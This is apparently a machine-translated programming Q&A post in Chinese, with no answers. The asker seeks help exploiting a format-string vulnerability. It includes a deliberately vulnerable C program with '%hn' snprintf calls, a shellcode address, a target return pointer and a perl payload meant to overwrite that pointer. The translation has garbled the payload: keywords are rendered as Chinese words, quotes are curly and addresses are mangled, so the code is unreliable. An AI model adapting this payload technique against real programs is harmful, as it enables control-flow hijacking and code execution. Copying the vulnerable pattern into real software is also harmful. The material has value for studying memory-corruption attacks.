0

我正在尝试使用格式字符串漏洞利用。我有一个在 snprintf() 处易受攻击的 ac 程序,如下所示。我也有一个我想跳到的 shellcode。我的 shellcode 位于地址 xbffff1c4,返回地址的指针位于 x080486a4。这是程序的易受攻击的部分:

#define maxiargl 128

#include <stdlib.h>
#include <stdio.h>

static void usage(const char *sname) 
{
  fprintf(stderr, "Usage: %s <file>\n", sname);
  fprintf(stderr, "  where <file> is the file of interest\n");
}

static void argumCh(char *arg1, char *arg2) 
{
  char argum2[maxiargl], argum1[maxiargl];
  int  str1, str2;

// vunerable code

   str1 = snprintf(argum1, sizeof argum1, "%s%d%d%d%c%hn", arg1);
   str2 = snprintf(argum2, sizeof argum2, "%s%d%d%d%c%hn", arg2);

  if(str1 >= maxiargl)
    str1 = maxiargl - 1;
  argum1[str1] = '\0';

  if(str2 >= maxiargl)
    str2 = maxiargl - 1;
  argum2[str2] = '\0';

  printf("Arguments: '%s', '%s'\n", argum1, argum2);
}

int main(int argc, char **argv) 
{

  if(argc > 2) {
    usage(argv[0]);
    argumCh(argv[1], argv[2]);
    exit(EXIT_FAILURE);
  }


  return 0; 
}

这是我的利用代码

perl -e '打印"\xc4\xf1\xff\xbf"; 打印“a”;打印“a”;打印“a”;打印“a”x61885'

注意这里我写的是地址xbffff1c4。f1c4=61885+7 字节但是这不起作用。我想知道如何指定我想写的地址,因为在这里我可以指定我正在写的地址。如果有人可以帮助我,我会非常感激

4

0 回答 0